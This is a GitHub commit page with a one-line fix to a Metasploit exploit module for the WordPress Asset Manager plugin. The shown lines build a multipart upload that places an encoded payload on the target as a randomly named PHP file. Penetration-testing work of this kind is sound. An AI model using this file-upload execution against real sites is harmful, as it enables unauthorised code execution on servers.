Skip to content

Commit 75057b5

Browse files
committed
Fixed variable
1 parent 61ab88b commit 75057b5

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ def exploit
5757
payload_name = "#{rand_text_alpha(5)}.php"
5858

5959
data = Rex::MIME::Message.new
60-
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
60+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
6161
post_data = data.to_s
6262

6363
print_status("#{peer} - Uploading payload #{payload_name}")

0 commit comments

Comments
 (0)